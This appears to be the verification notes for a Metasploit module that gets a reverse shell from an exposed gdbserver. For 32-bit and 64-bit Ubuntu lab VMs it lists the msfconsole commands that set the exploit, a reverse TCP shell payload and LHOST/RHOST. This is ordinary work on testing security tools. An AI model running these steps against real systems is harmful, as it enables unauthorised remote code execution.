Get a shell from a loose gdbserver session

Implements enough of the gdbserver remote debugging protocol to write and execute a payload.

#### Verification (32-bit)

I verified with Ubuntu 14.04 32-bit.

- [x] install gdbserver: `sudo apt-get install gdbserver`
- [x] run a gdbserver service: `gdbserver 0.0.0.0:9999 ping`
- [x] launch msfconsole, configure the exploit:

        $ ./msfconsole
        msf> use exploits/multi/gdb/gdb_server_exec
        msf> set target 0
        msf> set payload linux/x86/shell_reverse_tcp
        msf> set LHOST <your external ip>
        msf> set RHOST <ip of your vm>
        msf> set RPORT 9999
        msf> run

- [x]  You should get a working shell

#### Verification (64-bit)

I verified with Ubuntu 14.04 64-bit.

- [x] install gdbserver: `sudo apt-get install gdbserver`
- [x] run a gdbserver service: `gdbserver 0.0.0.0:9999 ping`
- [x] launch msfconsole, configure the exploit:

        $ ./msfconsole
        msf> use exploits/multi/gdb/gdb_server_exec
        msf> set target 1
        msf> set payload linux/x64/shell_reverse_tcp
        msf> set LHOST <your external ip>
        msf> set RHOST <ip of your vm>
        msf> set RPORT 9999
        msf> run

- [x]  You should get a working shell